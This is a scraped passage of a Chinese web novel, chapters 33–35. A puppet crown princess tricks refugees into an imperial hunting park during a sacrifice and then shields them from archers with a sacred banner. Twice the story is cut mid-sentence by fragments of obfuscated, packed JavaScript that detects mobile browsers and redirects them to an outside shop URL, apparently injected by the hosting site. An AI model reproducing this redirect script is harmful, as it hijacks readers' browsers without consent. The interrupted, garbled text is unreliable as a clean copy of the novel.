“旧事了。”庾澈目光清利,“真要鼓动流民,让他们愿意主动往这禁苑里钻,得需要时间。”他伸出一根手指,“至少十天,慢慢渗透,建立信任。” 谢琚依旧支着脸颊,保持盯着玉佩的姿势,像是要说什么,又像是思索之后最终不曾说出来。 一直守在门口把风的卢览,此时却不得不转过身。 “殿下,庾先生。” “没有十天了。”卢览严厉地指出,“太常卿已经定下了日子。五天之后,便是大驾献获、祭祀天地的大典 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“人多眼杂,”盛尧摇头,“容易走漏风声。” “下策。”庾澈手指一弹,推倒最后的算筹,“动用我在都中的暗桩,制造混乱,强行裹挟。但这样一来,我的底就全暴露了。来得有多少人,是不是全须全尾,不好说。” 三条路,条条都是险路,条条都有遗憾。 盛尧盯着那几根算筹,眉头紧锁。将衣袖咬得更紧些,布料都快被她扯破了。 愿意。 这世上哪有那么多心甘情愿的事?谢巡“愿意”扶立她吗?诸侯“愿意”臣服吗?她自己“愿意”当这个傀儡吗? “就没有那种……” 盛尧用牙齿磨着衣袖边上的绣纹,含含糊糊地, “嗯……就是那种……下下策?” 众人皆是一愣。 “下下策?”卢览疑惑,“比裹挟还下作?” 盛尧把袖子吐出来, “非得是他们‘愿意’来吗?”她对着手指,战战兢兢。 庾澈给自己倒了一盏冷茶:“不然呢?绑来?” “不绑。”盛尧犹豫,“咱们人手不够。” 她凑近了些,压低声音,小心地陈述: “不能……骗骗他们吗?” “骗?”卢览一愣,“怎么骗?骗他们猎苑里遍地是黄金?” 盛尧瞟一眼:“先生刚才说,他们害怕?” 庾澈皱眉:“怕死。怕官兵。” “要是咱们的人,换上别的衣裳,就说……就说朝廷要在征发徭役!所有的流民,无论老幼,都要被抓去填沟壑、修别宫,稍有不从便是就地正法……” 帐子里安静了一瞬。 庾澈手里的茶盏停在半空,卢览张大嘴巴。 连在那边装没听见的谢琚,手指也微微一顿,铜铃都不响了。 “也不用真抓,就敲锣打鼓,造出声势来!然后再让事先安排好的托儿,在人群里喊上几嗓子:‘官兵来抓人了!快跑啊!往猎苑那边跑啊!那边正在冬狩,有贵人,官兵不敢进去抓人!’” “后面是‘征徭役送死’的‘官兵’,前面是虽然可怕但或许能有一线生机的皇家猎苑。你说,他们往哪跑?” …… 这是什么奇怪的法子?! “殿下!”卢览厉声指斥,“这是欺民!天子不欺四海!拿自己的名声撒谎?!” 恐惧。 比希望更有效,比仁德更迅捷。就像她在马上射那一箭,投那一矛。 哪怕姿势不对,哪怕狼狈不堪,但那一刻,她确实握住了名为“权力”的刀柄。 “我是仁君吗?” 盛尧问她,也问自己。 “我在太庙里吓得要死,在嘉德殿上装模作样。手里没兵没权,天命是别人编的,弓是别人给的。” 她又想了一想,“阿览,你也看见了。今天群臣说我仁德,太常卿说那是圣人风范。可实际上呢?他们认为我连一只鹿都射不中。” “我不是。” 盛尧低下头,看着自己还带着血痂的手。 “我恐怕,没有办法做那样的仁君。” 庾澈听得茶都忘了喝,举着茶盏,呆呆地看着这个少女。 她扬起头, “反正我要人活,我什么都要试试,你就说,管不管用吧?” 33. 中宫祭祀 大约是管用的。 虽说这许多年,太史令也没掐对太子是男是女,但成朝自先帝以来,多年没有举行过这等规模的大礼。 此刻太史们少不得激动万分,大约确实拿出了几把刷子,献获礼这一日,果真是个万里无云,寒风凛冽的好天气。 冬狩既毕,三军献获,祭祀天地宗庙,乃是一场大阅的重头戏。 祭坛已筑高台,太常卿领着乐工与祝史,早在凌晨时分便以此地为圆心,布下了肃穆森严的礼仪大阵。 正中竖着代表日月的太常旗,旗面绘着日月星辰,垂地而立;下面立着象征狩猎止息的驺虞幡,苍色的幡布在风中扑棱棱作响。 盛尧坐在玉路车上,前头六匹黑马,鬃毛都使金丝编的紧紧的,马头上也插着翟鸟尾毛。 可惜四面连遮挡的帷幔都没有。十二条五彩缤纷的丝带和无数玉珠串成的流苏,从车盖顶端一直垂到地面,此时坐在车中,外人看不清她的面容,只觉得天威深重,神秘莫测。 但在车里面…… “噗。” 盛尧面无表情地吐出口中被风吹进来的丝带。 刚抖开,旁边一根青色的又呼了上来。 不得不保持着皇太女肃穆的坐姿,手底下却像是在跟这漫天飞舞的丝带打架。 外头风大,这车又四面透风,那些长长的、死沉的旒旂就像是疯了一样,噼里啪啦地往她脸上抽。一会儿挡住视线,一会儿缠住冠冕,盛尧觉得自己像是被困在一个巨大的彩色蜘蛛网里。 “阿览,”盛尧咬牙切齿,对着车侧一个拿袖子遮着半张脸的女官,“这玩意儿……能不能拿剪子剪一剪?” 卢览今日总算混进了正式的仪仗,作为侍书女官,手捧简策,正正经经地随侍车旁。 “不成。”她苟在简策后头,免得被前公公认出来,“殿下,这是礼。” “礼就是用来打脸的吗?”盛尧又“呸”出一根被风吹进嘴里的布条。 “每幅皆尽,不加剪裁,这叫‘全’。”卢览又望底下猫一点儿,百忙之中抽出功夫说她, “如此这般长垂于地,方能‘示远’。让天下的臣民知道,天子的恩德与威仪通天彻地。想要剪了?!” “示远?”完全没办法理解! “我现在连前面马屁股都看不清,还能示远?”盛尧毫无好气。 一阵狂风卷来,几十条旒旂像鞭子一样噼里啪啦地抽到车栏,又有几条十分不客气地甩到了脸上。 “至少也不能这么甩吧……”盛尧苦着脸,在这些飞舞的彩条里艰难求生,“来的时候不这样!这旗子不是该系起来吗?” “殿下今天大获全胜,有手格野彘的武功在身。要全部舒展开,任其飞扬,咱们叫‘武车绥旌’。” 卢览瞥了她一眼,补了一刀:“就得让它飘起来,乱舞起来,才算武德充沛。” 行吧。合着这耳刮子是自己凭本事挣来的,自己杀的猪,怎么着也要把这威风摆完。 “您忍忍吧。” 盛尧唉声叹气,只能坐直身子,任由那些代表着“威仪”和“武功”的布条子在自己脸上胡乱拍打。 忍。她当然能忍。 不仅要忍受脸上被穗子抽,还得忍受心里七上八下的鼓点。 今天可是“下下策”实施的日子。 时候差不多。 内卫应该在城郭外开始“征发徭役”,庾澈的人也大约已经混在里头。 而她的前方,大典开始了。 礼乐大作,太常卿从乐工左近登上祭坛,钟鼓管磬排列成宫悬的制法,《王夏》《大钧》,乐声宏大,震得人耳膜嗡嗡作响。 蓦地身子一顿,玉路车被人拉稳,左右停驻。卢览顺势避到侧后。 卢览留下了,就只剩她自己忙着在旗幅的围攻下左支右绌,努力从纷乱的旒旂缝隙里,端出一副庄严法相; 心里忐忑,忍不住一个个寻找熟悉的脸,琢磨着按照位次,至少中庶子当在车驾侧边随侍。 没有,没有,在哪呢? 忽然传来一声轻笑。 风似乎被什么东西挡住。 那声笑之后,一只修长的手,缓缓撩开正前方遮眼的五彩丝绦。 光亮陡然涌入,盛尧下意识地眯起眼。 他今日穿着玄端,士大夫最庄重的礼服,宽大的黑色衣袖垂落,布料挺括,线条如刀裁般利落,不存半点折皱。 乌发全部拘进深黑的委貌冠里,一丝不苟,玉簪横贯。大概少府那边实在是见不得珊瑚耳坠这等糟心东西,摘去后,只留下苍白恭顺的耳缘。 谢琚身材修长,肃穆板正的玄端穿在他身上,便将他的艳色,生生压下去了一半。 剩下一半,却因为这完全的黑与极端的正,被衬得更加明确。袖口露出中衣的朱红边缘,“朱裳”的配色,被偶尔小心地披露,在禁制庄严底下,隐秘而危险地燃烧着。 青年如此立在寒风猎猎的旷野,与翻涌缭扬的飞旗之间,衣不沾尘,神色不动,恰似收掩天光,自骨子里压抑出凛冽的殊丽。 “殿下。” 连盛尧也被吓呆了。 这人……当真是有那个什么“美玉琼琚”的本钱的。 谢琚却没注意,只是微微垂下眼睫,按照摈相的规矩,低头并拢双指,掌心向上,向车内的皇太女伸出了手。 手腕处,系着红绳的铜铃被玄色的袖口严严实实地遮蔽,听不见半点声响。 “殿下,”青年声音沉静地重复,“请降车。” 盛尧还在惊呆,片刻,才反应过来这是接引。 正常说来,该是太仆或鸿胪卿来扶,可既然谢氏这位“中宫”当先站在那里,老臣们便像是集体瞎了一样,谁也没往前凑一步。 盛尧回过神,吸口气,将满手心的冷汗在膝头上擦了擦,才郑重地把手搭在他的掌心。 温润,并不像他外表看起来那般冷硬。 她想起自己可怜的冠礼,不知为何,心里忽然定了一下。 嗯。至少不止她一个,连这人都能装成这样,她还有什么好怕的? 谢琚稳稳地托住她,引着她一步步走下玉路车。 脚踏实地的那一刻,浩大的风声与鼓乐声铺天盖地滚轧而来。旌旗左右低垂分开,迎上通往祭坛的甬道两侧。 她仰起头,每一面旗帜都有几丈高,旗杆用铜铁裹着,顶端饰以雉羽,在此刻的夕阳与火光下,如同一片翻滚的彩色云海。 “走吧。” 谢琚没有松开她的手,几乎像是个恭谨的臣子,导引她向那森严的壁垒中走去。 穿过第一道旗门。 众人纷纷侍立。 最外围是“师都”的六乡六遂大夫。建着熊虎的旗帜;她再往内走,左右看看,似乎是各个州里、县鄙的属官,高高建起绘有鸟隼、龟蛇的旐旗。 中央处,九卿。列侯。纯色的乌黑大旗,毫无一点图案,以示她赋予的职责专任。交龙的旗帜,这些人需要谨慎的结好,提醒她君臣交泰。 层层叠叠,密不透风。 这是谢巡的兵马,天子的威仪,也是将她牢牢困在其中的樊笼。 盛尧走在这云旗连绵的交织与包绕之间,感觉自己渺小得像一颗尘埃。心跳得极快,不仅是因为这场面,更是因为算算时辰,内卫们应当已经在城郭外动手了。 拿自己给几千条人命做赌注。 手在微微发抖,步子也有些僵硬。 “阿摇。” 身前忽然传来低低的一声。 谢琚目视前方,玄端严整,步履从容, 盛尧慌忙转头:“嗯?” “你看,”青年微微扬起下巴,“好看么?” 好看。这人便是披着麻袋也是好看的,可盛尧心里正演练着一百种计划失败的惨状,根本没过脑子,胡乱点点头,视线还是黏在远处。 敷衍得很。 “配得上殿下的神武。”谢琚却并不恼,反而又笑了一声,摇摇头,侧开身子,将身后的景象露了出来。 “但不是说我。”他用玉笏指着前方,“我是说,它。” 盛尧顺着看去。 祭坛正中,太牢之礼已备。牛、羊、豕三牲陈列。其后是麋鹿、黄羊、野雉……堆积如山。 而最前端,最为显赫、此时正被几个祝史恭恭敬敬抬上来的案几上,摆着一样巨大的牺牲。 一头野猪。 正是她日前在林子里豁出命去,手格的那头大野猪。 只是现在的它……看起来稍微有点……诡异。 野猪还是那个野猪,獠牙狰狞,死不瞑目。但它全身上下被洗刷得干干净净,每一根鬃毛似乎都被精心梳理过,乌黑油亮。头上戴着大红花,獠牙上有些金色丝带,耳朵拴着铜铃。 作为此次冬狩的“王获”,也是皇太女武功的证明,这头倒霉的野猪享受了极高的哀荣。 一头被打扮得花枝招展、富贵逼人、甚至有点喜庆的……死猪。 “……” 盛尧眼睛直了,拳头硬了。 “这……这是什么鬼东西?!”惊恐。 “你的猪。”谢琚理所当然地应答,“献获礼,牺牲当然要隆重。” 他稍稍侧过头:“我让人弄的。配得上殿下的神武。阿摇,不好看么?” 像是要把这头猪风光大嫁了! “你……你一个中庶子……”她艰难地从牙缝里挤出声音,“这事儿归你管吗?” 少府卿是死了吗?太常卿是瞎了吗?怎么能允许这么离谱的东西摆上祭台的! 谢琚转过身,玄色挺拔而匀称。他正正头上玄冠。这是谢氏精心培养出来的、足以名满中都的世家公子。风神隽异,美姿仪,善容止。 “中宫皇后。”他从从容容地说,“协理祭祀,也是分内的事情。” 谢四公子一本正经地胡说八道,朝她闲雅微笑,坦然受之。 盛尧想笑,又想尖叫,胸口憋着的即将面临生死危机的窒息感,居然奇迹般地松动些许。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918338|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好看。”她点头,“太好看了。下次不许弄了。” 谢琚无所谓地一扬手,似乎并不真的在意,只是叮铃一响的铜铃声里,多少带了点遗憾。 时辰已到。青年不再跟随,欠身一礼,安静地退到了侧翼。 “皇太女,躬亲矢石,手格猛兽!上应祖宗之武,下安黎庶之心!” 太常卿展开长长的竹简,谢巡率领百官,在祭坛下再拜。 “为大成贺!为殿下贺!” 山呼海啸。 盛尧甚至看到左侧客席上的庾澈,今日换了衣冠,正举着酒爵,左右扫视,眼神意思是“好戏开场”。 是的,好戏开场了。 献获既毕,接下来便是“分肉”与“宴饮”。这是君王将恩德布施给臣下的时刻。 号角声变得欢快而急促,战鼓换成了花鼓。 “百戏!” 祭坛两侧的帷幕被拉开,百余名头戴狰狞面具的方相氏冲入场中,手持长戈盾牌,跳起驱鬼的舞蹈。 场中烟雾大作,几十名力士推着一辆巨大的木车入场。车上立着一只高达数丈的巨兽,名为“舍利之兽”,乃是传说中外邦的瑞兽。 巨兽在机关的操纵下,摇头摆尾,口吐烟火,在场中横冲直撞。 众人各个耸动,争相看个稀奇,盛尧握着玉笏,攥着一手的汗。 蓦然间,巨兽倒地,烟雾中,一条长达十余丈的巨型比目鱼游了出来。 鱼身是用彩色的布帛和竹篾扎成,里面藏着数十名舞者。模拟着鱼儿在水中游动的姿态,鳞片在阳光下闪闪发光。 忽地有人一声暴喝,比目鱼突然跃起,在半空中一个翻滚。 布帛撕裂,竹篾崩断。就在众人的惊呼声中,一条八丈长的黄龙,从鱼腹中破壳而出!随着火焰盘旋而上。 公卿列次爆发出喝彩。庾澈坐在席间,眼中却殊无笑意,只是冷冷地看着这太平盛景。 “鱼龙曼延,”谢绰得意地向庾澈道,“安息国所献。” 庾澈不置可否,只是若有所思地看着上首谢巡。此时百兽率舞,光怪陆离。 “都卢寻橦!” 场中呼喝,众人都精神振奋,鱼龙变幻的烟尘尚未散去,场中便又竖起了一根高达百尺的长竿。 竿顶几乎探进了夜色里,甚至高过了丞相大营的赤色旗帜。 百戏中最为惊险的“缘竿”。 乐声转急,变成了暴雨击打般的促奏。一个身着五色斑斓短衣、脸上涂着油彩的“少年”,几个纵跃便窜上了竿身。 盛尧直起身子,紧紧按住漆案。 是郑小丸。 她身形瘦小,脸上涂得花花绿绿,任谁也认不出这就是新上任的内卫都尉。 那竿极高,随着她的攀爬在风中剧烈晃动,像是随时都会折断。 “好——!” 底下的公卿们看得血脉偾张,纷纷叫好。唯有盛尧看得心惊肉跳,每晃一下,她的心就跟着颤一下。 郑小丸爬得极快,转眼便到了竿顶。 下方布满鱼龙曼延的烟火。 就是现在。 盛尧吊起心脏。 竿顶的郑小丸忽然身形一晃,像是失了足,整个人猛地向外荡去。 “啊!”人群中爆发出一阵惊呼。百尺长竿承受不住这巨大的力,咔嚓一声从根部断裂开来! 巨大的长竿失去了支撑,带着还在上面的郑小丸,呼啸着向侧面倒塌。 轰隆! 重重地砸上巨大的吐火黄龙。 恰如数百盏膏油灯同时倾覆。滚烫的油脂泼洒而出,霎那间引燃周围的装饰旗帜。 郑小丸趁高竿倒下,抓住旁边示远绥旌的长长垂布,鹞子般几个翻滚,轻巧地落在了远处的阴影里。 火,腾地一下烧了起来。 火势顺着流淌的膏油,点燃附近围绕的布帛,迅速蔓延到猎苑最外层的青色帷幔。 是隔绝帏宫与荒野俗世的“外郛”。 绘着云雷纹的厚重锦障,在烈火面前脆弱得如同薄纸。火舌卷过,噼啪爆裂,转瞬间便被烧出一个巨大的缺口。 “走水了!” “快救火!护驾!护驾!” 场中顿时大乱。执金吾和虎贲军慌忙拔刀,百戏伶人尖叫着四散奔逃。 高耸的旗帜一一倾倒,鱼龙混杂,假作真时真亦假。 慌乱的喧嚣中,一种更为糟乱的声响,从被火烧开的缺口外传了进来。 比军阵盔甲更外围的地方,似乎有几十个衣衫褴褛,骨瘦如柴的人。男人搀着女人,女人背着孩子。手里拿着断裂的木棍,有的赤着脚。 身上贫穷、饥饿和死亡的腐臭气味,随着寒风,毫无遮拦地冲进了这充满脂粉与肉香的皇家宴席。 流民。 就像是一群来自地底的饿鬼,撞破了那一层薄薄的、也最坚固的屏障。 站在那里,远远地,和身穿锦衣华服的公卿贵族们面面相觑。 寂静。 34. 奉天子之敕 这种寂静如同一张蜕去的死皮,紧紧勒住整座辉煌的帏宫。 几十个,上百个。更多衣衫褴褛的身影从黑暗中踉跄奔出,被冲天的火光吸引,又被眼前金碧辉煌的景象所震慑,呆呆地立在被烧穿的巨大豁口处,宛如一群从地府侥幸逃出的孤魂,茫然地窥探着不属于他们的人间。 没人敢动。 “冲击御营,惊扰祭祀!谋逆!” 谢充睁着独眼,枯瘦的手已经按上腰间刀柄。 “此乃禁苑!大驾之前安敢放肆!”他声色俱厉,全不看来使与公卿,径直转向禁军,“虎贲卫何在!给我就地格杀!一个不留!” 司隶校尉的积威之下,上百名虎贲卫士虽然犹豫,却还是各个拔出环首刀。 然而,右侧,越骑校尉却按兵不动,只是询问似的看向银铠的中领军谢绰。 谢绰依旧端坐席上,手中还握着酒爵。他扫一眼暴怒的二哥,又扫一眼手无寸铁的流民,微微侧头,对越骑校尉使了个眼色。 越骑校尉立刻会意,策马横出,正好挡在虎贲冲前的路上。 “司隶校尉且慢动手,”那校尉高声喊道,“今日乃大祭之日,不宜再见血光。且这些人既然能绕开外围防线,恐有内应,若尽数杀了,如何审问?” “滚开!”谢充冷冷地道,刀锋几乎指到那校尉的鼻子,“你算个什么东西,也敢拦我的路?老三!管好你的一条狗!” 谢绰微微一笑,“越骑乃是宿卫都畿的兵马,非以此屠戮百姓。若是传出去,恐怕有损父亲威名。” 他没有说杀,也没有说不杀。只是在提醒所有人,这里的兵权,不是谢充一个人的。 “老三!”谢充大怒,“这时候你跟我讲妇人之仁?大典上让这群叫花子冲进来,谁能担保不混入刺客?虎贲军听令!” “越骑听令!”谢绰不甘示弱,语调骤冷,“没有本侯军令,我看谁敢妄动!” 他不想沾这一手的血,更乐得看他二哥背上“滥杀”的骂名,但此刻却不能让谢充这般轻易地指挥动所有禁军。 僵住了。 平日里被压制在暗处的兄弟阋墙,在此刻,被这突然的变故撕开了一道血淋淋的口子。 这就是中都兵马的现状。 军令未出中军,虎贲属于禁中郎官,虽归光禄勋管,却早被谢充渗透,此时擅动,名不正言不顺。 而越骑虽为都畿卫队,本该谢充节制,多年却与谢绰往来甚密,此刻主将不动,居然也不听从司隶校尉的号令。两兄弟在军中权责交错,明争暗斗早已不是一日两日。 今日是祭祀大典,五校校尉尽皆在此。谁都晓得,此刻谁先动手,谁就会被对方抓住把柄。若是弹压得力,功劳是大家的;可万一出了差池,惊扰了圣驾,或是激起民变,那第一个下令之人,便是万劫不复。 屯骑、越骑、步兵、长水、射声,五校尉面面相觑,踌躇不前。 因为这兄弟二人的猜忌,陷入了一种诡异的僵持。 火还在烧,风还在吹,似乎将有越来越多的流民被巨大的动静吸引,与这边的刀山箭林,遥遥相望。 逾千甲士,长枪如林,强弓硬弩,就这么对着手无寸铁的流民,却硬是没有人敢砍下一刀。 这种令人窒息的僵持,只持续了呼吸几瞬。 高台之上,紫袍微动。 谢巡没有管他的两个儿子。 老权臣缓缓抬起手,苍老的声音,平静有力。 “既然乱了,那便清场。” 并不响亮,也不带多少怒气。谢巡多年兵戈,戎马中曾屠城有二。在这个老人绝对的权威面前,兄弟两人的争斗就像是孩童的把戏。 谢充身形一僵,手中刀停在半空。谢绰松了酒爵,恭敬垂首。五校尉齐齐下马,跪伏在地。 “射声营。” 随这一声令下,后阵之中,二百名射声士同时上前一步。 “喝!” 数百支透甲重箭,闪着幽冷的寒光,对准了缺口处那群绝望的人。 流民们发出一阵惊恐的哭嚎,本能地想要后退,可后面还有人往前挤,在生与死的边缘推搡。 “放——” 军令尚未出口。 一道玄黑的身影,忽然从玉路车旁高高跃下。 “慢着!” 盛尧纵身从车上跳了下来。 冕冠摇晃,这一瞬间,她忘记了呼吸,脑子里只塞着一个念头:不能让他们射箭! 她拖着衮服踉踉跄跄,用这辈子最快的速度,几步冲到那面巨大的“驺虞幡”前。 大驾的仪仗,天子的威严。 “谁敢放箭!” 盛尧抽出腰间佩剑,寒光一闪。 嗤啦! 悬挂在车前,巨大的、绣着黑白仁兽的驺虞幡,连绳带杆被她一剑砍断。 沉重的旗幡轰然坠落,盛尧扔掉剑,兜手抱起,使尽全身力气,拖着它向那个缺口跑去。 “殿下!”崔亮和一众内侍吓得魂飞魄散。 盛尧根本听不见。耳鸣得厉害,只觉得怀里的布条重得像山,像无数人的命。 她冲到射声营的阵前,狠狠地将驺虞幡杆往地上一掼! 苍色的幡布在寒风中呼啦啦展开,黑白的仁兽挡在流民与弓箭之间。 “驺虞在此!谁敢放箭!” 盛尧背对那些恐惧的流民,将手中昭示“不杀”的驺虞幡,朝天一抖,如同一道黑白分明的屏障。 她直起身子,拽起布横在他们身前,喘着气,扬头直面谢巡,直面逾百支随时会离弦的利箭。 谢琚手握剑柄,唇线紧绷。庾澈坐在席间,捏着酒爵的手指微微发白。看着这幡旗,忽然仰头饮尽杯中残酒,无声地笑了一下。 这便是她说的“试试”? 拿命去试啊。 “射声校尉!” 盛尧大口吸气,冰冷,冕冠歪斜,声音嘶哑,却拼尽全力吼了出来, “你看清楚这是什么!驺虞幡!见则息兵!奉天子敕!” “此番上天示警!冬狩外墙坍塌,流民涌入,分明是上苍认为我不够仁德,德行有亏,才降下这等灾异来谴告于我!若是此刻再造杀孽,是想让大成国祚,断送在这猎苑之中吗?!” 盛尧指着那些满脸错愕的公卿。 公卿们面面相觑,谁也没想到这个平日里唯唯诺诺的傀儡,竟敢在这个时候扣下这么大的一顶帽子。 灾异谴告,这可是权臣们平日里最喜欢用来挟制皇帝的把戏,如今却被拿来当成了护身符。 盛尧拖拽着仁兽的旗幡,咬牙前进一步,逼近那些手持弓箭的射声士。 “射啊!往这儿射!” 盛尧一振手中幡布,“往驺虞身上射!” 射声士们的手开始颤抖。 是储君。刚刚才被他们奉为“天命所归”的皇太女。更是这支军队名义上的最高统帅。 在五校众军面前,射杀手持驺虞幡的储君? 造反!大逆不道! 令旗僵在半空,谁敢落得下去。 谢巡眯起眼睛,看着站在寒风中渺小的身影。 第一次,真正正视这个被他当做傀儡养了十年的小姑娘。 “都愣着干什么!”盛尧见镇住了场面,赶紧回头,冲着后方的内卫们怒吼,“还不去把人看起来!” 话音刚落,一个身影从侧面窜出。 郑小丸。 她已经卸去花花绿绿的油彩,换上了利落的内卫轻甲。 “内卫听令!”郑小丸一跃翻过帷幕,将手一招,后头数百名内卫,迅速散入流民与禁军的空隙。“护卫殿下!接管流民!” “都在原地别动!乱跑者斩!” 她手脚并用,几步攀上台垛,一剑砍断旁边焦木,蹲在上头,俯身指着那些骚动的流民,竖起三根手指,厉声道: “既受太女皇恩,当守太女王法!第一,不许喧哗,违者斩!第二,不许冲撞,违者斩!第三,听从调遣,违者斩!” 这三声“斩”字,带着内卫们齐刷刷拔刀的声音,霎时间震住了骚动的人群。 恐惧与希望并存。有人开始磕头,有人开始哭泣,但没有人再敢乱跑。 “左边的空置帏宫打开!让这些人进去!再不避风,都要冻死了!” “去几个人,把剩下的太牢祭肉抬过来!先给分了!” “编分什伍,拣择老幼!老人妇孺先行,青壮从后!敢有争抢者,立斩不赦!” 这一套行云流水,显然是早就演练过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928641|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。内卫们虽然都是新兵,但居然迅速将那混乱不堪的局面控制了下来。 既成事实。 人已经进去了,肉已经分了,帐篷已经开了。这时候再想杀人,那就真成了滥杀无辜的暴行。 “荒唐!简直是荒唐!” 少府卿终于反应过来,气得胡子乱颤,跌跌撞撞地跑出席间,“这是皇家禁苑!天子帏宫!怎么能让这些肮脏贱民住进去?还分食太牢祭肉?成何体统!这是僭越!大不敬!” 盛尧手握幡杆,一动不动, “阿览。”她说,头也没回,紧紧盯着谢巡。 “大不敬?” 卢览使袖子遮着半张脸,从玉路旁边一步步走出。 “《尚书》有云:‘民惟邦本,本固邦宁。’——文王之囿方七十里,刍荛者往焉,雉兔者往焉,与民同之。” “古之贤王尚且与民同用,如今不过是借几座闲置的帷帐,救活几条人命,怎么就成了大不敬?” 她厉声质问少府卿,“天所以有灾变何?所以谴告人君,觉悟其行,欲令悔过修德! “现今殿下分明是在‘省园圃’、‘去声色’,以此昭示诚心,方能化险为夷。少府大人此时还要讲体统,难道是要陷殿下于不义,陷丞相于不仁吗?” 少府卿被这罪名折得差点背过气去,抖抖索索指着卢览:“你……你什么名分?哪个宫的婢女?此时三公在列,居然敢如此妄议朝政!” “婢女如何?“卢览冷笑,”汉武问晁生曰:‘地有遗利,民有余力,生谷之土未尽垦,山泽之利未尽出。虽有高城深池,严法重刑,犹不能禁。’” 她也不把袖子拿下来,只瞥一眼道:“昔日圣人马厩失火,退朝只问‘伤人乎?’,不问马。” 这女郎掩袖皱眉,目光扫过在场的一众公卿:“现今人都快饿死了,诸公承圣人教,竟然还有心思问我是男是女,有名无名,身上脏是不脏吗?” 骂得痛快淋漓,骂得荡气回肠。 禁军既然先被喝退,公卿默然不语,谢绰眼神微微一动,却仍旧低头沉默。 谢琚在车侧按剑独立,神情幽沉,只是看着幡前少女。庾澈在客席上快笑得趴下了,“中都虽多软骨头,倒还有几个明白人!谢丞相,此等仁政,难道不是您教导有方?” 盛尧一语不发,咬着嘴唇,左右四顾。 寒风呼啸。 像这样紧紧攥着驺虞幡的断杆,手指的伤口又再裂开,鲜血顺着杆子往下淌。 许久之后。 她松开手中的驺虞幡。 身后众人杂沓撤去,旗帜倒在泥泞里,再也没人多看一眼。盛尧转过身,隔着几十步的距离,遥遥望向站在高台之上的谢巡。 一老一少,目光在空中相迎。 一个是权倾天下的宰辅,一个是刚刚立起威严的傀儡。 老人的目光阴鸷,深沉。 良久。 老权臣忽然晃了一晃 身后的侍从想要上前搀扶,却被他一把挥开。 “回营。” 仪仗缓缓调转方向,宛如一片正在退潮的血海。弓弦松弛的声音依次响起。射声营退下,五校兵马也各自归鞘。 赢了……? 盛尧迫得自己紧紧直视前方,摆出她生平最天子的架势,一瞬也不瞬。 在渐渐远去的中军里。 庾澈收敛笑容,盯着谢巡的背影。 忽然,这北方青年不晓得看见什么,激动万分,霍地站起。 盛尧觉得不对,顺着庾澈的视线,见谢巡被侍从簇拥着离开,不知为何,总觉得透着一股日薄西山的萧索。 就在谢巡即将登上安车的那一刻。 盛尧眼尖,望见老人忽然停住脚步,肩膀剧烈地耸动,用手中襟袖,飞快地在嘴边掩了一把。 她回望殷红的落日。 紫色的袍袖上,似乎洇开了一小团深沉的暗色。 那是……血。 盛尧呆呆地伫立。 原来如此,大将军为何按兵不动?谢氏为何急于立一个女储?庾澈为何亲自潜入中都? 自己头也一昏。 谢巡,这根支撑着傀儡朝廷,也压制着天下诸侯的定海神针。 眼看就要折了。 35. 一起做贼 收拢了一波人心。事情比盛尧预计的顺利些,又比她预计的艰难些。 难的是事,顺利的是人。 原本以为几千个饿红了眼的饥民凑在一处,哪怕有吃有喝,也得闹出不少乱子,甚至疫病横行。卢览几乎是抱着必死的决心带着人进去的。 可真正动起手来,只用了两日。 “不是我们管得好。” 卢览顶着两个大黑眼圈,捧着这几日的册籍,冷冰冰地与她说,“是他们自己‘管’得好。” “能从岱州一路逃难来的,都不是一盘散沙。几千里路,老弱病残早死在了路上。剩下的大多是同乡、同族抱团。只要把那些带头的耆老找出来,给足了他们面子和粮食,底下的几百号人,就能约束。” 是这样——这群从岱州一路乞讨逃亡过来的流民,远比她想象的要有组织。 耆老。弱者依附强者,强者依靠宗族。盛尧看着名册,眉头却没松开。 “这是‘吏治’。”她说,“还有呢?” “还有……”卢览犹豫,暗地里总有些身手矫健、不似难民的人在其中推波助澜,传递消息。 “是庾澈干的。” 盛尧站在高处,看着下面开始埋锅造饭的人群。 ……这人果然可怕。他让这些流民在都中活下来,给谢巡找麻烦;还得保证他们不会真的乱起来,坏了大将军未来南下的基业。 虽然帮她,也在向她展示——瞧,没有我翼州点头,这都城里连几个叫花子你都摆弄不平。 “算他狠。”盛尧把名册一合,毫无所谓,反正她被人吓唬得多了,真不少这一下,“只要人活下来就行。这笔账,我去和他算。” “就是……我怎么觉得……”她托着腮帮子,对自己现在的处境进行深刻的反思,“我这个主君的用处,就是当了个负责把门踹开的傻大力?” 卢览接回名册,抬起头: “殿下,主君就是为了能把门踹开,别的事有别人去做。” 盛尧撇撇嘴。行吧,大力就大力。在心里给卢览竖了个大拇指,不愧是世家教出来的,这一手,玩得比她在太傅那儿学的皮毛溜多了。 然而,这口顺溜的气还没喘匀,谢巡反手就把这烂摊子,变成了插向岱州田昉心口的一把尖刀。 几日之后,盛尧回别苑前,蹲在猎苑的高台上,看着下头感天动地的大戏,牙花子嘬得直响。 谢充接管了猎苑防务——司隶校尉承接,盛尧眼睁睁地看着几个虎贲军冲进流民堆里。以为他们要抓人杀头,心脏都提到了嗓子眼。 结果居然是从衣衫褴褛的人群里,像挑拣萝卜一样,拎出了几个还没完全被风霜磨去棱角的“体面人”。 “那人是谁?”盛尧指着一个被带走的儒生模样的中年人。 “原岱州某县的教谕,”郑小丸气喘吁吁地回来与她报说,“好像家里有点薄田,被田昉的新政给没收了,这是被逼得没活路才逃出来的。” 